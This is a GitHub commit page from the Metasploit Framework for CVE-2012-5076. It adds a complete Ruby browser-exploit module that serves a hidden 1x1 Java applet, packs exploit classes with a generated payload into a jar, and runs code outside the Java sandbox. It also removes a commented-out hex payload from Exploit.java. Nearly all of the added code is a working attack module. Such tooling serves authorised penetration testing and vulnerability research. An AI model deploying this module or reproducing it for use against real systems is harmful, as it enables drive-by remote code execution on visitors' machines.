Skip to content

Commit 5076198

Browse files
author
jvazquez-r7
committed
fixing bperry comments
1 parent 08cc6d5 commit 5076198

File tree

4 files changed

+119
-3
lines changed

4 files changed

+119
-3
lines changed
-82 Bytes
Binary file not shown.
-177 Bytes
Binary file not shown.

external/source/exploits/cve-2012-5076/Exploit.java

Lines changed: 0 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -35,9 +35,6 @@ public void init()
3535
{
3636
try
3737
{
38-
// Hex String for MyPayload.class
39-
//String my_payload = "cafebabe0000003300350a000a001a0a001b001c07001d0a0003001e0a001f002009001f00210800220a002300240700250700260700270100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c6501000d537461636b4d61705461626c6507002507001d01000372756e01001428294c6a6176612f6c616e672f4f626a6563743b01000a457863657074696f6e730700280100017201000a536f7572636546696c6501000e4d795061796c6f61642e6a6176610c000c000d0700290c002a002b0100276a6176612f73656375726974792f50726976696c65676564416374696f6e457863657074696f6e0c002c000d07002d0c002e002f0c0030003101000668656c6c6f210700320c003300340100094d795061796c6f61640100106a6176612f6c616e672f4f626a6563740100276a6176612f73656375726974792f50726976696c65676564457863657074696f6e416374696f6e0100136a6176612f6c616e672f457863657074696f6e01001e6a6176612f73656375726974792f416363657373436f6e74726f6c6c657201000c646f50726976696c6567656401003d284c6a6176612f73656375726974792f50726976696c65676564457863657074696f6e416374696f6e3b294c6a6176612f6c616e672f4f626a6563743b01000f7072696e74537461636b54726163650100106a6176612f6c616e672f53797374656d01001273657453656375726974794d616e6167657201001e284c6a6176612f6c616e672f53656375726974794d616e616765723b29560100036f75740100154c6a6176612f696f2f5072696e7453747265616d3b0100136a6176612f696f2f5072696e7453747265616d0100077072696e746c6e010015284c6a6176612f6c616e672f537472696e673b295600210009000a0001000b000000030001000c000d0001000e0000005c00010002000000122ab700012ab8000257a700084c2bb60004b1000100040009000c00030002000f0000001a0006000000080004000b00090010000c000d000d000f001100110010000000100002ff000c00010700110001070012040001001300140002000e00000022000100010000000601b8000501b000000001000f0000000a000200000016000400170015000000040001001600090017000d0002000e000000250002000000000009b200061207b60008b100000001000f0000000a00020000001d0008001e0015000000040001001600010018000000020019";
40-
//byte[] byte_payload = hex2Byte(my_payload);
4138
ByteArrayOutputStream bos = new ByteArrayOutputStream();
4239
byte[] buffer = new byte[8192];
4340
int length;
Lines changed: 119 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,119 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
require 'rex'
10+
11+
class Metasploit3 < Msf::Exploit::Remote
12+
Rank = ExcellentRanking
13+
14+
include Msf::Exploit::Remote::HttpServer::HTML
15+
16+
include Msf::Exploit::Remote::BrowserAutopwn
17+
autopwn_info({ :javascript => false })
18+
19+
def initialize( info = {} )
20+
super( update_info( info,
21+
'Name' => 'Java Applet JAX-WS Remote Code Execution',
22+
'Description' => %q{
23+
This module abuses the JAX-WS classes from a Java Applet to run arbitrary Java
24+
code outside of the sandbox as exploited in the wild in November of 2012. The
25+
vulnerability affects Java version 7u7 and earlier.
26+
},
27+
'License' => MSF_LICENSE,
28+
'Author' =>
29+
[
30+
'Unknown', # Vulnerability Discovery
31+
'juan vazquez' # metasploit module
32+
],
33+
'References' =>
34+
[
35+
[ 'CVE', '2012-5076' ],
36+
[ 'OSVDB', '86363' ],
37+
[ 'BID', '56054' ],
38+
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html' ],
39+
[ 'URL', 'http://malware.dontneedcoffee.com/2012/11/cool-ek-hello-my-friend-cve-2012-5067.html' ]
40+
],
41+
'Platform' => [ 'java', 'win' ],
42+
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
43+
'Targets' =>
44+
[
45+
[ 'Generic (Java Payload)',
46+
{
47+
'Arch' => ARCH_JAVA,
48+
}
49+
],
50+
[ 'Windows Universal',
51+
{
52+
'Arch' => ARCH_X86,
53+
'Platform' => 'win'
54+
}
55+
],
56+
[ 'Linux x86',
57+
{
58+
'Arch' => ARCH_X86,
59+
'Platform' => 'linux'
60+
}
61+
]
62+
],
63+
'DefaultTarget' => 0,
64+
'DisclosureDate' => 'Oct 16 2012'
65+
))
66+
end
67+
68+
69+
def on_request_uri( cli, request )
70+
if not request.uri.match(/\.jar$/i)
71+
if not request.uri.match(/\/$/)
72+
send_redirect(cli, get_resource() + '/', '')
73+
return
74+
end
75+
76+
print_status("#{self.name} handling request")
77+
78+
send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
79+
return
80+
end
81+
82+
paths = [
83+
[ "Exploit.class" ],
84+
[ "MyPayload.class" ]
85+
]
86+
87+
p = regenerate_payload(cli)
88+
89+
jar = p.encoded_jar
90+
91+
paths.each do |path|
92+
1.upto(path.length - 1) do |idx|
93+
full = path[0,idx].join("/") + "/"
94+
if !(jar.entries.map{|e|e.name}.include?(full))
95+
jar.add_file(full, '')
96+
end
97+
end
98+
fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "cve-2012-5076", path ), "rb")
99+
data = fd.read(fd.stat.size)
100+
jar.add_file(path.join("/"), data)
101+
fd.close
102+
end
103+
104+
print_status("Sending Applet.jar")
105+
send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } )
106+
107+
handler( cli )
108+
end
109+
110+
def generate_html
111+
jar_name = rand_text_alpha(rand(6)+3) + ".jar"
112+
html = "<html><head></head>"
113+
html += "<body>"
114+
html += "<applet archive=\"#{jar_name}\" code=\"Exploit.class\" width=\"1\" height=\"1\">"
115+
html += "</applet></body></html>"
116+
return html
117+
end
118+
119+
end

0 commit comments

Comments
 (0)